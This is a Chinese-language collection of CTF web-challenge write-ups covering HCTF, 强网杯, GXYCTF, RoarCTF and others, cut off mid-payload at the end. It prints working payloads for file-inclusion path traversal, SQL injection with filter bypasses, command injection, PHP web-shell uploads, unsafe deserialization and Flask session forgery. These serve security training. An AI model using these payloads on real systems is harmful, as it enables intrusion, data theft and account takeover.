[HCTF 2018]WarmUp

1、访问WEB界面,首界面是个滑稽脸

image-20210730112940084

2、先右键查看源代码,发现source.php

image-20210730113038496

3、访问source.php

image-20210730113112710

4、首先看这段代码,需要满足file值不为空,file值为字符串,checkFile为true,满足条件则包含文件

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

5、前两个条件容易满足,定位到checkFile里,里面有四个if判断

白名单

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

第一个if,判断是否空值与是否是字符串

if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

第二个if,判断page值是否在白名单内

if (in_array($page, $whitelist)) {
                return true;
            }

截取?前的值

$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

先进行编码,在截取?前的值

$_page = urldecode($page);
$_page = mb_substr(
  $_page,
  0,
  mb_strpos($_page . '?', '?')
);

第三个与第四个if,判断$_page是否在白名单内

if (in_array($_page, $whitelist)) {
                return true;
            }

6、解题思路:

如果四个if均未返回,则返回false

第二个if直接判断page值,不可用

第三个if,get传参会把?后面内容解析成提交的参数,不可用

第四个if,GET传参会进行url解码,代码里再进行url解码,所以我们要进行两次url编码

7、我们在hint.php页面中发现flag的位置

image-20210730171518737

8、payload

?file=source.php%253f../../../../../../../ffffllllaaaagggg

image-20210730171548228

[极客大挑战 2019]EasySQL

1、访问界面,是个登录框

image-20210730172005408

2、先试下万能钥匙,直接获得flag

admin' or 1=1#

image-20210730172058248

[极客大挑战 2019]Havefun

1、访问界面

image-20210730172210032

2、先右键查看下源代码,在下面发现提示信息,传入cat参数,使cat=dog

image-20210730172245602

3、paylaod

?cat=dog

image-20210730172343703

[强网杯 2019]随便注

1、访问界面,是个提交框

image-20210730172510818

2、先输入单引号,发现报错,那可以继续尝试查询列数

image-20210730173023472

3、使用联合查询发现,存在黑名单,试了双写大小写绕过都不行

image-20210730173134636

4、查询资料,才知道这里可以使用堆叠注入。

堆叠注入就是可以同时查询多条数据

image-20210730173420584

5、查询表

1';show tables;--+

image-20210730173541506

6、在1919810931114514表中发现flag

image-20210730173818692

7、这里查询资料得知绕过方法

(1)预编译绕过

#预编译语法
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

payload

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;

结果为:

strstr($inject, "set") && strstr($inject, "prepare")

这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#

(2) 更改表名列名

表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。

修改表名和列名的语法如下:

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

最终payload如下:

1'; rename table `words` to `test`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);show columns from words;--+

拆分开来如下
-1';
rename table `words` to `test`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
show columns from words;--+

然后使用1' or 1=1#即可查询出flag

[ACTF2020 新生赛]Include

1、访问界面

image-20210730175919603

2、点击tips标签,发现?file=flag.php,试试文件包含

image-20210730180006089

3、存在文件包含

image-20210730180156644

4、因为无法直接查看flag.php,使用php伪协议进行base64加密,base64解密得到flag

?file=php://filter/convert.base64-encode/resource=flag.php

image-20210730180135305

image-20210730180256659

[SUCTF 2019]EasySQL

1、访问界面是个输入框,输入1返回1

image-20210805092337823

2、输入其他数字,返回还是返回1

image-20210805092424139

3、输入1’,没有返回,判断存在sql注入,但把报错信息给隐藏了

image-20210805092537757

4、尝试order by,union查询,发现都返回no

image-20210805093934296

5、联合查询与报错查询都不行,试试布尔盲注,发现也返回no

image-20210805093845843

6、都不行,那试试堆叠注入

1;show databases;

image-20210805094024780

7、查询表

image-20210805094052419

8、查询字段,发现不行,测试发现Flag被禁了

image-20210805094133891

9、查询资料,这道题需要对后端语句进行猜测

(1)、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||

(2)、也就是select 输入的数据||内置的一个列名 from 表名=>即为,此时||起到or作用

select post进去的数据||flag from Flag

image-20210805100007832

10、解法一

如果$post[‘query’]的数据为*,1,sql语句就变成了

select *,1||flag from Flag

也就是

select *,1 from Flag

image-20210805100244662

11、解法二

在这里插入图片描述

1;set sql_mode=pipes_as_concat;select 1

执行语句就变成为,||变成为连接符

select 1;
set sql_mode=pipes_as_concat;
select 1||flag from Flag;

[极客大挑战 2019]Secret File

1、访问界面,有信息让自己找寻

image-20210805101115943

2、先右键查看源代码,发现Archive_room.php

image-20210805101144160

3、访问Archive_room.php

image-20210805101316354

4、点击一下,提示没看清

image-20210805101409091

5、使用bp抓包试试,抓包发现个新路径

image-20210805101607191

6、访问secr3t.php

image-20210805101646204

7、审计代码,发现判断条件只是返回 haystack 字符串从 needle 第一次出现的位置开始到结尾的字符串。

8、使用php://filter伪协议

?file=php://filter/convert.base64-encode/resource=flag.php

image-20210805102113175

9、base64解码得到flag

image-20210805102210447

[ACTF2020 新生赛]Exec

1、访问界面,是个输入框

image-20210805102257046

2、输入1|pwd,发现有命令执行

image-20210805102422462

3、直接cat /flag

image-20210805102456652

[极客大挑战 2019]LoveSQL

1、访问界面,是个登陆框

image-20210805102538774

2、遇到登陆框,先试下万能钥匙

admin' or 1=1#

image-20210805102707698

3、看到提示,flag应该是在数据库里

image-20210805102838078

4、在admin后面加上个单引号’,会爆语法错误

image-20210805103219663

5、爆列数,这里要注意注释符要用%23

image-20210805113755880

6、接下来就可以使用联合查询

-1' union select 1,2,3%23
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()%23 //爆表
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'l0ve1ysq1'%23
//爆列名

-1' union select 1,group_concat(id,'-',username,'-',password),3 from l0ve1ysq1 %23 //爆字段

image-20210805114656140

[GXYCTF2019]Ping Ping Ping

1、访问界面

image-20210805185416745

2、提示/?ip=

3、在url添加/?ip=1|pwd

image-20210805185519132

4、/?ip=1|cat flag.php,提示空格过滤,使用$IFS$1绕过

image-20210805185723677

5、绕过空格,fxck your flag!,应该是过滤flag

image-20210805190607422

6、方法一 通过base64进行绕过

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

image-20210805191008432

7、右键查看源代码

image-20210805191031262

8、方法二,这里能看到本题过滤了哪些字符

?ip=1;cat$IFS$1`ls`

image-20210805191223336

[极客大挑战 2019]Knife

1、访问界面,提示eval($_POST[“Syc”]);

image-20210805200904170

2、使用中国蚁剑连接

image-20210805201539339

3、在根目录下找到flag

image-20210805202448576

[极客大挑战 2019]Http

1、访问界面

image-20210805202544915

2、右键查看源码,发现Secret.php

image-20210805202647178

3、访问Secret.php,提示It doesn't come from 'https://www.Sycsecret.com'

image-20210805202845474

4、修改Referer

image-20210805203233469

5、又提示Please use "Syclover" browser

image-20210805203249725

6、添加User-Agent

image-20210805203404641

7、提示No!!! you can only read this locally!!!

image-20210805203515498

8、修改X-Forwarded-For为127.0.0.1

image-20210805203743981

9、得到flag

image-20210805203756318

[RoarCTF 2019]Easy Calc

1、访问界面

image-20210805222017859

2、右键源代码,发现新路径calc.php

image-20210806003849495

3、访问calc.php

image-20210806003938071

4、查看大佬们WP

访问clac.php看到源码,发现多行匹配过滤了一部分特殊符号,但是实际访问时,发现字母全部被拦截了,看来是上了层WAF。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

5、利用PHP的字符串解析特性Bypass

我们知道PHP将查询字符串(在URL或正文中)转换为内部GET或的关联数组_GET或的关联数组_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

6、因为 / 被过滤所以用chr(47)来代替,对目录进行扫描。

calc.php? num=1;var_dump(scandir(chr(47)))

image-20210806004444523

7、接着scandir了一下f1agg返回了false,发现是个文件,于是file_get_contents拿到flag。

calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

image-20210806004553175

[极客大挑战 2019]Upload

1、访问界面

image-20210806111618937

2、上传常规shell,t提示不能包含<?

image-20210806112331462

3、换成会提示,后缀名不能是php,经过测试,phtml可以绕过

GIF89a
<script language="php">eval($_POST['shell']);</script> 

image-20210806112753315`

4、抓包上传

image-20210806114616706

5、访问test.phtml,提示访问不到,猜测有个upload路径,使用中国蚁剑进行连接

image-20210806114839475

6、在根目录下找到flag

image-20210806115026427

[护网杯 2018]easy_tornado

1、访问界面,其中有三个链接

image-20210806200257614

2、链接内容

flag.txt

image-20210806200322821

welcome.txt

image-20210806200351834

hints.txt

image-20210806201659087

3、得到信息

flag在/fllllllllllllag
render   //由题目名称知道tornado组件,是由python开发,render是其中的渲染函数
md5(cookie_secret+md5(filename)) //get传参,filehash的值为md5(cookie_secret的值 + filename的md5值)

4、修改filename的值,页面报错

image-20210806203456569

5、先试下是否存在模板注入

msg={{1*1}}

image-20210806203537585

6、百度查询,render可以使用不同参数来访问网页

{{handler.settings}}

image-20210806204032120

7、计算出filebash

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="e5710fe8-4d42-4777-b2e7-a0d4874e2677"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

image-20210806205208996

8、得到flag

image-20210806205326990

[极客大挑战 2019]PHP

1、访问界面,提示有备份文件

image-20210807230232175

2、尝试www.zip

image-20210807230405718

3、代码如下

index.php

<!DOCTYPE html>
<head>
  <meta charset="UTF-8">
  <title>I have a cat!</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<style>
    #login{   
        position: absolute;   
        top: 50%;   
        left:50%;   
        margin: -150px 0 0 -150px;   
        width: 300px;   
        height: 300px;   
    }   
    h4{   
        font-size: 2em;   
        margin: 0.67em 0;   
    }
</style>
<body>







<div id="world">
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    </div>
    <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html>

flag.php

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

4、审计代码得知

index.php中,该题是属于反序列化

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

flag.php是个假flag

class.php中,从这里可以得到flag

if ($this->username === 'admin') {
            global $flag;
            echo $flag;

5、得到flag需要满足两个条件

password = 100
username = admin

6、从这方面入手我们就可以构造poc

<?php 

class Name{
	private $username = 'admin';
  private $password = 100;

}

$the = new Name();

echo urlencode(serialize($the));




?>

image-20210807231813314

7、这里要注意两点

第一点 private是私人属性,private属性序列化的时候格式是%00类名%00成员名
第二点  __wakeup方法,unserialize()会先调用__wakeup()方法,绕过方法:序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

8、payload

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

image-20210807232249819

[ACTF2020 新生赛]Upload

1、访问界面,点击灯泡会有上传的地方

image-20210808110002137

2、准备常规shell,进行上传,会提示jpg、png、gif结尾的图片

image-20210808110349513

3、使用bp抓包,进行后缀名修改,发现phtml可以使用

image-20210808111332950

image-20210808111336017

4、使用中国蚁剑连接

image-20210808111454335

5、在根目录下找到flag

image-20210808112616830

[极客大挑战 2019]BabySQL

1、访问界面,界面是个登陆框

image-20210808192032578

2、测试order by,发现or,by过滤掉了,双写试试,数字4提示Unknown column '4' in 'order clause'

image-20210808205749096

3、输入3,提示NO,Wrong username password!!!

image-20210808205919937

4、联合注入

?username=admin&password=admin' ununionion selselectect 1,2,3 %23

image-20210808210052535

5、测试发现fromwhere过滤

?username=admin&password=admin' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database() %23

image-20210808210822429

6、爆字段

?username=admin&password=admin' ununionion%20selselectect%201,2,group_concat(id,username,passwoorrd) frfromom b4bsql%23

image-20210808211452419

[ACTF2020 新生赛]BackupFile

1、访问界面,让找到源码,猜测找备份文件

image-20210808211706914

2、测试出index.php.bak

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

3、审计代码

1、判断key是否空值
2、判断key是否是数字
3、弱类型判断,字符串与数字比较时,会把数字提取出来,进行比较

payload

?key=123

image-20210808215125439

[HCTF 2018]admin

1、访问界面,暂时发现有两个功能,注册与登录

image-20210808215514916

2、由题目猜测,需要登录admin账号或者获得admin权限

3、首先我先使用bp抓包,进行爆破尝试

image-20210809235815684

4、这里很幸运,爆破出密码123

image-20210810000129595

5、登录得到flag

image-20210810000157504

6、以上是我做题解法,在网上学习其他大佬两种解法

解法一,来源来自https://www.jianshu.com/p/f92311564ad0

7、首先注册账户,test/test

image-20210810001245314

8、在change password中发现源码

image-20210810001358360

9、https://github.com/woadsl1234/hctf_flask/

image-20210810002224678

10、web是一个flask项目,那就直接先奔路由去看一下,打开route.py,看一下index的注册函数代码

@app.route('/')
@app.route('/index')
def index():
    return render_template('index.html', title = 'hctf')

发现index注册函数没做什么处理,直接返回index.html渲染模版,于是我们看一下templates/index.html代码

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

发现真的是要登录成admin才能得到flag。于是继续看向route.py文件,看看login和change password的注册函数处理代码是怎么写的。route.py部分函数代码如下

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

11、flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
具体参考:https://www.leavesongs.com/PENETRATION/client-session-security.html

我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY,在github源码里找找,可以在config.py里发现下面代码

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

12、在github找到flask session加密的脚本

https://github.com/noraj/flask-session-cookie-manager

13、脚本有解密、加密两种功能,具体用法如下
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

14、我们登录成功页面的cookie的session复制下来

image-20210810003132699

15、进行解密

python flask_session_cookie_manager3.py decode -s "ckj123" -c ".eJxNkE1vgkAQhv9Ks2cPwOLFxANmKdFkdoNFNzMXYykKI2sTwKAY_3vRJk2v75P3mY-72B2aoi3FrGsuxUTsqi8xu4u3TzETyKmEIQooAY8YJWZ4NUnqmaystd3cTLJiozYhWPDAvlfk4Eace8ibG_CiQrt-ZhJZOz0smFQkcUhD5KU_9gftqCZVVqDyqUm2zmQQ6mRdaxcPpJZXGOraWJA6iZ-zfbLQo12VkJUnzGomTqfI2I_7zcVjIvK2Oey671Nx_nfCMgR17CmLpQ7SkDga0Mah5tjTWeQTr06ktqMykmSpgkCX2M9fusrtj8WfiYKp-kh_yXnvRiC6ou3ERFzaonm9TfieePwAXelriA.YRFYKA.A6w2mjJeGwTlGpgWKXDNbOZfWuQ"

得到解密后的session格式如下

{'_fresh': True, '_id': b'b47306dc4f67a618d498e5e28bc8581c41abfc2f74b5220badbfc7b3f70cd07c48b255e36fed8b0798ef9384de6a3d2139e9c74a7a65ec0aba18da9cf49b60dc', 'csrf_token': b'b28080e177d8f03aa8614505f2dd5a107efb3cac', 'image': b'gnCI', 'name': 'test', 'user_id': '10'}

image-20210810003602711

16、把其中的name项的值改为admin后,再作为-t的参数进行session加密

python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'b47306dc4f67a618d498e5e28bc8581c41abfc2f74b5220badbfc7b3f70cd07c48b255e36fed8b0798ef9384de6a3d2139e9c74a7a65ec0aba18da9cf49b60dc', 'csrf_token': b'b28080e177d8f03aa8614505f2dd5a107efb3cac', 'image': b'gnCI', 'name': 'admin', 'user_id': '10'}"

image-20210810003850325

17、替换掉session

image-20210810004140749

18、获得flag

image-20210810004228425

解法二

19、不管是login、register还是change页面,只要是关于session[‘name’]的操作,都先用了strlower函数将name转成小写,但是python中有自带的转小写函数lower,这里重写了一个,可能有点猫腻,于是找到strlower函数的定义

def strlower(username):
    username = nodeprep.prepare(username)
    return username

20、这里用到了nodeprep.prepare函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0,而官网最新版本为19.2.0(2019/6/2),版本差距这么大,估计是存在什么漏洞,于是搜索一下nodeprep.prepare,找到一篇unicode安全的文章,https://paper.tuisec.win/detail/a9ad1440249d95b

这里原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a
所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。

image-20210810005252098

21、我们发现在改密码函数代码里,也用到了nodeprep.prepare函数,也就是说,我们在这里改密码的话,先会把username改为admin,从而改掉admin的密码。

image-20210810005322464
22、使用修改后的密码进行登录,获得flag

[极客大挑战 2019]BuyFlag

1、访问界面

image-20210810174407733

2、在pay页面发现需要购买flag,满足条件

必须是CUIT的学生
必须回答正确的密码

image-20210810174941629

3、右键查看源码,发现提示,post money and password ,需要post传入money and passowrd,password等于404,这里可以通过字符串404a绕过,字符串与数字比较,会把数字提取出来

image-20210810175027376

4、post传入money=100000000&password=404a,提示Only Cuit's students can buy the FLAG

image-20210810180612427

5、必须是students才可以,bp抓包时,在cookie中发现user=0

6、修改user=1尝试,提示Nember lenth is too long

image-20210810180703696

7、改成科学计数1e10

image-20210810180838523

[BJDCTF2020]Easy MD5

1、访问界面

image-20210810232215688

2、右键查看源码没有什么发现,查看network发现Hint: select * from 'admin' where password=md5($pass,true)

image-20210810232552167

3、这里在网上查询到md5()true参数漏洞,ffifdyop字符串会造成漏洞,当我们将下面这个十进制传入mysql数据库的时候,那么mysql会自动将这些值转为十六进程并且转为一个字符串,用这个字符串来进行闭合前面的,相当于我们执行了 ’ or 'xxxxx 那么就是一个永真的条件。

content: ffifdyop

hex: 276f722736c95d99e921722cf9ed621c

raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

string: 'or'6]!r,b

4、我们在本地尝试一下,ffifdyop会转换为'or'6�]��!r,��b

<?php

$a = 'ffifdyop';

echo md5($a,true);

?>

image-20210810233434661

5、相当于在数据库select * from ‘admin’ where password= ''or'6xxxxxx '相当于 password= ‘’ or 1 变成永真

image-20210810234000918

6、返回题目,我们在输入框里输入ffifdyop,页面跳转到下一关

image-20210810234117384

7、右键查看源代码,发现提示,传入a参数与b参数,进行md5弱类型比较,两个值不相等。这里就可以通过数组绕过

?a[]=1&b[]=2

image-20210810234147164

解法二

8、在PHP中,利用”!=”或”==”来对哈希值进行比较时,PHP会把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

以下纯数字和大写字母类型的哈希值在比较时都为0

纯数字类:
240610708 
0e462097431906509019562988736854
 
314282422 
0e990995504821699494520356953734
 
571579406 
0e972379832854295224118025748221
 
903251147 
0e174510503823932942361353209384
1110242161 
0e435874558488625891324861198103
 
1320830526 
0e912095958985483346995414060832
 
1586264293 
0e622743671155995737639662718498
 
2302756269 
0e250566888497473798724426794462
 
2427435592 
0e067696952328669732475498472343
 
2653531602 
0e877487522341544758028810610885
 
3293867441 
0e471001201303602543921144570260
 
3295421201 
0e703870333002232681239618856220
 
3465814713 
0e258631645650999664521705537122
 
3524854780 
0e507419062489887827087815735195
 
3908336290 
0e807624498959190415881248245271
 
4011627063 
0e485805687034439905938362701775
 
4775635065 
0e998212089946640967599450361168
 
4790555361 
0e643442214660994430134492464512
 
5432453531 
0e512318699085881630861890526097
 
5579679820 
0e877622011730221803461740184915
 
5585393579 
0e664357355382305805992765337023
 
6376552501 
0e165886706997482187870215578015
 
7124129977 
0e500007361044747804682122060876
 
7197546197 
0e915188576072469101457315675502
 
7656486157 
0e451569119711843337267091732412


大写字母类:
QLTHNDT 
0e405967825401955372549139051580
 
QNKCDZO 
0e830400451993494058024219903391
 
EEIZDOI 
0e782601363539291779881938479162
 
TUFEPMC 
0e839407194569345277863905212547
 
UTIPEZQ 
0e382098788231234954670291303879
 
UYXFLOI 
0e552539585246568817348686838809
 
IHKFRNS 
0e256160682445802696926137988570
 
PJNPDWY 
0e291529052894702774557631701704
 
ABJIHVY 
0e755264355178451322893275696586
 
DQWRASX 
0e742373665639232907775599582643
 
DYAXWCA 
0e424759758842488633464374063001
 
GEGHBXL 
0e248776895502908863709684713578
 
GGHMVOE 
0e362766013028313274586933780773
 
GZECLQZ 
0e537612333747236407713628225676
 
NWWKITQ 
0e763082070976038347657360817689
 
NOOPCJF 
0e818888003657176127862245791911
 
MAUXXQC 
0e478478466848439040434801845361
 
MMHUWUV 
0e701732711630150438129209816536

image-20210810234447712

9、通过第二关,跳转到第三关,post两个值,进行md5强比较

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

10、解法一,这里的话需要用到fastcoll_v1.0.0.5工具进行生成

image-20210810235148483

11、生成之后,将其转换成url编码进行提交,由图我们可以看出MD5值相同,但url编码的值不同

<?php

function readmyfile($path){

$fh = fopen($path, "rb");

$data = fread($fh, filesize($path));

fclose($fh);

return $data;

}

echo '二进制md5加密 '. md5( (readmyfile("a.txt")));

echo "</br>";

echo 'url编码 '. urlencode(readmyfile("a.txt"));

echo "</br>";

echo '二进制md5加密 '.md5( (readmyfile("b.txt")));

echo "</br>";

echo 'url编码 '. urlencode(readmyfile("b.txt"));

echo "</br>";

?>

image-20210811001040291

12、使用bp进行抓包,传入值

param1=%CC9%95%0E%DE%D6%9C%B0%9B%14M%92H3%F4%1D%CFP%24%E1%8E%8F%BC%B8%FC%11%80z%93%3E%A3%C9%CE%1C%BE%09%E21%EA%00%CF%29%BF%81%01%DE%3F%FE%3Bmi%DC%3E%DC%25U%2FY%E0_%9E%D3%C1%29l%DE%12%97%CE%B8%BF%A3C%1E%0F%24%1DV%E4NC%E2%80%8BH%9Bq9%AB%C5%00H%9B_%88%C8%CF%13t%E4%AF%09%9C%3E4%3FL%7B%BB%3B%F2%0C%EA%F8%2FIY%27G%F5%D15%E4%D2%FA%81%27%C3&param2=%CC9%95%0E%DE%D6%9C%B0%9B%14M%92H3%F4%1D%CFP%24a%8E%8F%BC%B8%FC%11%80z%93%3E%A3%C9%CE%1C%BE%09%E21%EA%00%CF%29%BF%81%01%5E%40%FE%3Bmi%DC%3E%DC%25U%2FY%E0%DF%9E%D3%C1%29l%DE%12%97%CE%B8%BF%A3C%1E%0F%24%1DV%E4NC%E2%80%0BH%9Bq9%AB%C5%00H%9B_%88%C8%CF%13t%E4%AF%09%9C%3E4%3FL%7B%BB%BB%F1%0C%EA%F8%2FIY%27G%F5%D15%E4R%FA%81%27%C3

image-20210811001217283

13、解法二,通过数组绕过

param1[]=1&param2[]=2

image-20210811001319023

[ZJCTF 2019]NiZhuanSiWei

1、访问界面

image-20210811091653381

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

2、审计代码,需要满足两个条件

1、$text不能是空值,并且内容等于welcome to the zjctf
2、里面不能包含flag

3、满足条件后,到达这里,提示有useless.phpunserialize

include($file);  //useless.php
$password = unserialize($password);
echo $password;

4、使用bp进行抓包

1、$text可通过php://input 协议绕过
2、$file通过php://filter 协议绕过
/?text=php://input&file=php://filter/convert.base64-encode/resource=useless.php

image-20210811092449620

5、将得到的base64进行解码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

6、构造payload

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
